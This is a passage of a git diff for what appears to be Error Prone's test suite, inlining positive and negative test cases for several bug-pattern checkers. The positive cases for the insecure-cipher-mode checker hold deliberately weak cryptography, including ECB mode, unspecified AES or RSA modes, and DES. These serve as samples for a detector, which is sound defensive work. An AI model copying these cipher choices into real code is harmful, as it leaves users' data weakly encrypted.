+ // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + a++; + i++; + } + } + + public void nestedFor() { + for (int i = 0; i < 10; i++) { + // BUG: Diagnostic contains: increment + for (int a = 0; a < 10; a++) { + a--; + } + } + } + + public void nestedForBoth() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i++; + // BUG: Diagnostic contains: increment + for (int a = 0; a < 10; a++) { + a--; + } + } + } + + public void expressionStatement() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) i++; + } + }""") .doTest(); } @Test public void negativeCases() { compilationTestHelper - .addSourceFile("testdata/IncrementInForLoopAndHeaderNegativeCases.java") + .addSourceLines( + "IncrementInForLoopAndHeaderNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** Created by mariasam on 7/20/17. */ + public class IncrementInForLoopAndHeaderNegativeCases { + + public void arrayInc() { + for (int[] level = {}; level[0] > 10; level[0]--) { + System.out.println("test"); + } + } + + public void emptyForLoop() { + for (int i = 0; i < 2; i++) {} + } + + public void inIf() { + for (int i = 0; i < 20; i++) { + if (i == 7) { + i++; + } + } + } + + public void inWhile() { + for (int i = 0; i < 20; i++) { + while (i == 7) { + i++; + } + } + } + + public void inDoWhile() { + for (int i = 0; i < 20; i++) { + do { + i++; + } while (i == 7); + } + } + + public void inFor() { + for (int i = 0; i < 20; i++) { + for (int a = 0; a < i; a++) { + i++; + } + } + } + + public void inForEach(List list) { + for (int i = 0; i < 10; i++) { + for (String s : list) { + i++; + } + } + } + + public void otherVarInc() { + for (int i = 0; i < 2; i++) { + int a = 0; + a++; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java index 603af4e544a..0c0cbfaa347 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java @@ -31,11 +31,386 @@ public class InsecureCipherModeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InsecureCipherModePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InsecureCipherModePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.security.KeyFactory; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import javax.crypto.Cipher; +import javax.crypto.KeyAgreement; +import javax.crypto.NoSuchPaddingException; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class InsecureCipherModePositiveCases { + static Cipher defaultAesCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultAesCipher = Cipher.getInstance("AES"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher defaultRsaCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultRsaCipher = Cipher.getInstance("RSA"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static final String AES_STRING = "AES"; + static Cipher defaultAesCipherWithConstantString; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultAesCipherWithConstantString = Cipher.getInstance(AES_STRING); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitAesCipher; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitAesCipher = Cipher.getInstance("AES/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitDesCipher; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitDesCipher = Cipher.getInstance("DES/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitDesCipherWithProvider; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitDesCipherWithProvider = Cipher.getInstance("DES/ECB/NoPadding", "My Provider"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static String transformation; + + static { + try { + transformation = "DES/CBC/NoPadding"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + Cipher cipher = Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static void transformationAsParameter(String transformation) { + try { + // BUG: Diagnostic contains: the transformation is not a compile-time constant + Cipher cipher = Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + class CipherWrapper { + Cipher cipher; + + // Make sure that the checker is enabled inside constructors. + public CipherWrapper() { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + cipher = Cipher.getInstance("AES"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + } + + static Cipher complexCipher1; + + static { + try { + String algorithm = "AES"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + complexCipher1 = Cipher.getInstance(algorithm); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher complexCipher2; + + static { + try { + String transformation = "AES"; + transformation += "/ECB"; + transformation += "/NoPadding"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + complexCipher2 = Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher IesCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + IesCipher = Cipher.getInstance("ECIES"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIES/DHAES/NoPadding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES/NONE/PKCS5Padding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("DHIESWITHAES/DHAES/PKCS7Padding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHDESEDE/NONE/NOPADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("DHIESWITHDESEDE/DHAES/PKCS5PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES/CBC/PKCS7PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES-CBC/NONE/PKCS5PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESwithDESEDE-CBC/DHAES/NOPADDING"); + + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + interface StringProvider { + String get(); + } + + public void keyOperations(StringProvider provider) { + KeyFactory keyFactory; + KeyAgreement keyAgreement; + KeyPairGenerator keyPairGenerator; + final String dh = "DH"; + try { + // BUG: Diagnostic contains: compile-time constant + keyFactory = KeyFactory.getInstance(provider.get()); + // BUG: Diagnostic contains: Diffie-Hellman on prime fields + keyFactory = KeyFactory.getInstance(dh); + // BUG: Diagnostic contains: DSA + keyAgreement = KeyAgreement.getInstance("DSA"); + // BUG: Diagnostic contains: compile-time constant + keyAgreement = KeyAgreement.getInstance(provider.get()); + // BUG: Diagnostic contains: Diffie-Hellman on prime fields + keyPairGenerator = KeyPairGenerator.getInstance(dh); + // BUG: Diagnostic contains: compile-time constant + keyPairGenerator = KeyPairGenerator.getInstance(provider.get()); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InsecureCipherModeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InsecureCipherModeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.security.KeyFactory; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import javax.crypto.Cipher; +import javax.crypto.KeyAgreement; +import javax.crypto.NoSuchPaddingException; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class InsecureCipherModeNegativeCases { + static Cipher aesCipher; + + static { + // We don't handle any exception as this code is not meant to be executed. + try { + aesCipher = Cipher.getInstance("AES/CBC/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static final String AES_STRING = "AES/CBC/NoPadding"; + static Cipher aesCipherWithConstantString; + + static { + try { + aesCipherWithConstantString = Cipher.getInstance(AES_STRING); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher aesCipherWithProvider; + + static { + try { + aesCipherWithProvider = Cipher.getInstance("AES/CBC/NoPadding", "My Provider"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher arc4CipherConscrypt; + + static { + try { + arc4CipherConscrypt = Cipher.getInstance("ARC4", "Conscrypt"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher rc4CipherJsch; + + static { + try { + rc4CipherJsch = Cipher.getInstance("RC4", "JSch"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher arcfourCipherSunJce; + + static { + try { + arcfourCipherSunJce = Cipher.getInstance("ARCFOUR/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher desCipher; + + static { + try { + desCipher = Cipher.getInstance("DES/CBC/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher rsaCipher; + + static { + try { + rsaCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher aesWrapCipher; + + static { + try { + aesWrapCipher = Cipher.getInstance("AESWrap/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + public void ellipticCurveDiffieHellman() { + KeyFactory keyFactory; + KeyAgreement keyAgreement; + KeyPairGenerator keyPairGenerator; + final String ecdh = "ECDH"; + try { + keyFactory = KeyFactory.getInstance(ecdh); + keyAgreement = KeyAgreement.getInstance("ECDH"); + keyPairGenerator = KeyPairGenerator.getInstance("EC" + "DH"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java index 2dc7f800143..abdf04bf1df 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java @@ -32,14 +32,445 @@ public class InstanceOfAndCastMatchWrongTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java") + .addSourceLines( + "InstanceOfAndCastMatchWrongTypePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Created by sulku and mariasam on 6/6/17. + * + * @author mariasam (Maria Sam) + * @author sulku (Marsela Sulku) + */ + public class InstanceOfAndCastMatchWrongTypePositiveCases { + + private static void basicIllegalCast(Object foo2) { + if (foo2 instanceof SuperClass) { + // BUG: Diagnostic contains: Casting inside + String str = ((String) foo2).toString(); + } + } + + private static void basicIllegalCastJavaClass(Object foo2) { + if (foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIf(Object foo2) { + if (foo2 instanceof String && 7 == 7) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIfInstanceOfLast(Object foo2) { + if (7 == 7 && foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIfInstanceOfMiddle(Object foo2) { + if (7 == 7 && foo2 instanceof String && 8 == 8) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void castingInIfWithElse(Object foo2) { + if (foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } else { + String str = ""; + } + } + + private static void castMultipleInIfAndElse(Object foo2, Object foo3) { + if (foo2 instanceof String) { + String str = ((Integer) foo3).toString(); + // BUG: Diagnostic contains: Casting inside + String str2 = ((Integer) foo2).toString(); + } else { + String str = ((Integer) foo3).toString(); + String str2 = ""; + } + } + + private static void multipleAndsInIf(Object foo2) { + // BUG: Diagnostic contains: Casting inside + if (7 == 7 && (foo2 instanceof SuperClass) && (((String) foo2).equals(""))) { + String str = ""; + } + } + + private static void castOneObjectWithMultipleObjectsInIf(Object foo2, Object foo3) { + if (7 == 7 && foo3 instanceof String && foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void aboveTestButDifferentOrder(Object foo2, Object foo3) { + if (7 == 7 && foo2 instanceof String && foo3 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void nestedIf(Object foo2) { + if (foo2 instanceof String) { + if (7 == 7) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + } + + private static void nestedIfWithElse(Object foo2) { + if (foo2 instanceof String) { + if (7 == 7) { + String str = ""; + } else { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + } + + private static void assignmentInBlockDiffVariable(Object foo2) { + String foo1; + if (foo2 instanceof SuperClass) { + foo1 = ""; + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlock(Object foo2) { + if (foo2 instanceof SuperClass) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + foo2 = ""; + } + } + + private static void assignmentInBlockTwice(Object foo2) { + Object foo1 = null; + if (foo2 instanceof SuperClass) { + foo1 = ""; + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + foo2 = ""; + } + } + + private static void testSameClass(Object foo) { + if (foo instanceof String) { + InstanceOfAndCastMatchWrongTypePositiveCases other = + // BUG: Diagnostic contains: Casting inside + (InstanceOfAndCastMatchWrongTypePositiveCases) foo; + } + } + + private static void testElseIf(Object foo) { + if (foo instanceof String) { + String str = (String) foo; + } else if (foo instanceof String) { + // BUG: Diagnostic contains: Casting inside + Integer i = (Integer) foo; + } else { + foo = (SuperClass) foo; + } + } + + public static String testCall() { + return ""; + } + } + + class SuperClass {}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java") + .addSourceLines( + "InstanceOfAndCastMatchWrongTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.FilterWriter; +import java.io.StringWriter; +import java.io.Writer; + +/** + * Created by sulku and mariasam on 6/6/17. + * + * @author mariasam (Maria Sam) + * @author sulku (Marsela Sulku) + */ +public class InstanceOfAndCastMatchWrongTypeNegativeCases { + + public static void notCustomClass(Object objSubClass) { + if (!(objSubClass instanceof SuperNegativeClass)) { + DisjointClass str = (DisjointClass) objSubClass; + } + } + + public static void hi(String foo) { + if (foo instanceof String) { + ((String) foo).charAt(0); + } + } + + public static void castToSameClass(String foo) { + if (foo instanceof String) { + ((String) foo).charAt(0); + } + } + + public static void castToSameClassWithExtraLines(String foo) { + if (foo instanceof String) { + String somethingBefore = "hello"; + ((String) foo).charAt(0); + String somethingAfter = "goodbye"; + } + } + + public static void castAMethod() { + if (testCall() instanceof String) { + String bar = (String) testCall(); + } + } + + public static void castToSuperType(String foo) { + if (foo instanceof String) { + Object bar = ((Object) foo).toString(); + } + } + + public static void castMethodToSuperType(String foo) { + if (testCall() instanceof String) { + Object bar = (Object) testCall(); + } + } + + public static void castToCustomSuperType() { + SuperNegativeClass superClass = new SuperNegativeClass(); + SubNegativeClass subClass = new SubNegativeClass(); + + if (subClass instanceof SubNegativeClass) { + String str = ((SuperNegativeClass) subClass).toString(); + } + } + + public static void castToSubtype(String foo) { + if (foo instanceof Object) { + String somethingBefore = "hello"; + String bar = ((String) foo).toString(); + String somethingAfter = "goodbye"; + } + } + + public static void nestedIfStatements(String foo) { + if (7 == 7) { + if (foo instanceof Object) { + String bar = ((String) foo).toString(); + } + } + } + + public static void castMethodToSubType() { + if (testCall() instanceof Object) { + String bar = ((String) testCall()).toString(); + } + } + + public static void castAMethodInElse() { + if (testCall() instanceof Object) { + String str = ""; + } else { + String bar = ((String) testCall()).toString(); + } + } + + public static void nestedIfOutside() { + SubNegativeClass subClass = new SubNegativeClass(); + if (subClass instanceof SuperNegativeClass) { + if (7 == 7) { + String bar = ((SuperNegativeClass) subClass).toString(); + } + } + } + + public static void nestedIfElseInIf() { + SubNegativeClass subClass = new SubNegativeClass(); + if (subClass instanceof SuperNegativeClass) { + if (7 == 7) { + String bar = ((SuperNegativeClass) subClass).toString(); + } else { + String str = ""; + } + } + } + + public static void elseIfMethod() { + if (testCall() instanceof Object) { + String str = ""; + } else if (7 == 7) { + String bar = ((String) testCall()).toString(); + } else { + String str = ""; + } + } + + public static void nestedSubClasses(Object objSubClass) { + if (objSubClass instanceof SuperNegativeClass) { + if (objSubClass instanceof DisjointClass) { + DisjointClass disClass = (DisjointClass) objSubClass; + } + } + } + + public static void switchCaseStatement(Object objSubClass) { + Integer datatype = 0; + if (objSubClass instanceof SuperNegativeClass) { + String str = ""; + } else { + switch (datatype) { + case 0: + DisjointClass str = (DisjointClass) objSubClass; + break; + default: + break; + } + } + } + + public static void nestedAnd(String foo, Object foo3) { + if (foo instanceof String) { + if (foo3 instanceof SuperNegativeClass && ((SuperNegativeClass) foo3).toString().equals("")) { + String str = foo3.toString(); + } + } + } + + private static void multipleElseIf(Object foo3) { + if (foo3 instanceof String) { + String str = ""; + } else if (7 == 7 && foo3 instanceof SuperNegativeClass) { + ((SuperNegativeClass) foo3).toString(); + } else if (8 == 8) { + DisjointClass dis = (DisjointClass) foo3; + } + } + + private static void orInCondition(Object foo3) { + if (foo3 instanceof String || 7 == 7) { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void castInElse(Object foo3) { + if (foo3 instanceof String) { + String str = ""; + } else { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void multipleObjectCasts(Object foo2, Object foo3) { + if (foo3 instanceof String) { + String str = ((DisjointClass) foo2).toString(); + } else { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void orsAndAnds(Object foo2) { + if (7 == 7 && (foo2 instanceof DisjointClass) && (!((DisjointClass) foo2).equals(""))) { + String str = ""; + } + } + + private static void assignmentInBlock(Object foo2) { + if (foo2 instanceof SuperNegativeClass) { + foo2 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlockElse(Object foo2) { + String foo1; + if (foo2 instanceof SuperNegativeClass) { + String str = ""; + } else { + foo1 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlockElseIf(Object foo2) { + Object foo1 = null; + if (foo2 instanceof SuperNegativeClass) { + String str = ""; + } else if (foo2 == foo1) { + foo1 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void innerClassDecl(Object[] list) { + for (Object c : list) { + if (c instanceof String) { + try { + Writer fw = + new FilterWriter(new StringWriter()) { + public void write(int c) { + char a = (char) c; + } + }; + } catch (Exception e) { + String str = ""; + } + } + } + } + + private static void randomCode(Object foo) { + if (7 == 7) { + System.out.println("test"); + foo = (Integer) foo; + } + } + + private static void twoAssignments(Object foo, Object foo2) { + if (foo instanceof String) { + foo2 = ""; + String str = (String) foo; + foo = ""; + } + } + + public static String testCall() { + return ""; + } + + public static Object testCallReturnsObject() { + return new Object(); + } + + static class SuperNegativeClass {} + + static class SubNegativeClass extends SuperNegativeClass {} + + static class DisjointClass {} +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java index 1bd97d3656d..9ce3d39d738 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java @@ -32,11 +32,79 @@ public class InvalidPatternSyntaxTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InvalidPatternSyntaxPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InvalidPatternSyntaxPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.regex.Pattern; + + /** + * @author mdempsky@google.com (Matthew Dempsky) + */ + public class InvalidPatternSyntaxPositiveCases { + public static final String INVALID = "*"; + + { + // BUG: Diagnostic contains: Unclosed character class + Pattern.matches("[^\\\\]", ""); + // BUG: Diagnostic contains: Unclosed character class + Pattern.matches("[a-z", ""); + // BUG: Diagnostic contains: Illegal repetition + Pattern.matches("{", ""); + + // BUG: Diagnostic contains: + Pattern.matches(INVALID, ""); + // BUG: Diagnostic contains: + "".matches(INVALID); + // BUG: Diagnostic contains: + "".replaceAll(INVALID, ""); + // BUG: Diagnostic contains: + "".replaceFirst(INVALID, ""); + // BUG: Diagnostic contains: + "".split(INVALID); + // BUG: Diagnostic contains: + "".split(INVALID, 0); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InvalidPatternSyntaxNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InvalidPatternSyntaxNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.regex.Pattern; + + /** + * @author mdempsky@google.com (Matthew Dempsky) + */ + public class InvalidPatternSyntaxNegativeCases { + public void foo(String x) { + Pattern.compile("t"); + Pattern.compile("t", 0); + Pattern.matches("t", ""); + "".matches("t"); + "".replaceAll("t", ""); + "".replaceFirst("t", ""); + "".split("t"); + "".split("t", 0); + + Pattern.compile(x); + Pattern.compile(x, 0); + Pattern.matches(x, ""); + "".matches(x); + "".replaceAll(x, ""); + "".replaceFirst(x, ""); + "".split(x); + "".split(x, 0); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java index e116fca1152..28dda8e892c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java @@ -30,11 +30,191 @@ public class IterableAndIteratorTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/IterableAndIteratorPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "IterableAndIteratorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Iterator; + +/** + * @author jsjeon@google.com (Jinseong Jeon) + */ +public class IterableAndIteratorPositiveCases { + + /** Test Node */ + public static class MyNode { + String tag; + MyNode next; + } + + /** Test List that implements both Iterator and Iterable */ + // BUG: Diagnostic contains: both + public static class MyBadList implements Iterator, Iterable { + private MyNode head; + + public MyBadList() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + + @Override + public Iterator iterator() { + return this; + } + } + + /** Test List that extends the above bad implementation Diagnostic should bypass this */ + public static class MyBadListInherited extends MyBadList { + public MyBadListInherited() {} + } + + /** Test List that implements only Iterator */ + public static class MyGoodList implements Iterator { + private MyNode head; + + public MyGoodList() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + } + + /** Test List that implicitly implements both interfaces */ + // BUG: Diagnostic contains: both + public static class MyImplicitlyBadList extends MyGoodList implements Iterable { + + public MyImplicitlyBadList() {} + + @Override + public Iterator iterator() { + return this; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/IterableAndIteratorNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "IterableAndIteratorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Iterator; + + /** + * @author jsjeon@google.com (Jinseong Jeon) + */ + public class IterableAndIteratorNegativeCases { + + /** Test Node */ + public static class MyNode { + String tag; + MyNode next; + } + + /** Test List that implements only Iterator */ + public static class MyList1 implements Iterator { + private MyNode head; + + public MyList1() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + } + + /** Test List that implements only Iterable */ + public static class MyList2 implements Iterable { + + @Override + public Iterator iterator() { + MyList1 l = new MyList1(); + // code to populate the list goes here + return l; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java index 4308f5652d2..366631a087b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java @@ -35,7 +35,39 @@ public class JUnit3TestNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + + /** + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunPositiveCases extends TestCase { + // BUG: Diagnostic contains: JUnit3TestNotRun + public static void tesNameStatic() {} + + // These names are trickier to correct, but we should still indicate the bug + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tetsName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesstName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesetName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesgName() {} + + // tentative - can cause false positives + // BUG: Diagnostic contains: JUnit3TestNotRun + public void textName() {} + }""") + .doTest(); } @Test @@ -312,29 +344,218 @@ public void testDoesStuff() {} @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Ignore; + import org.junit.Test; + + /** + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunNegativeCase1 extends TestCase { + + // correctly spelled + public void test() {} + + public void testCorrectlySpelled() {} + + // real words + public void bestNameEver() {} + + public void 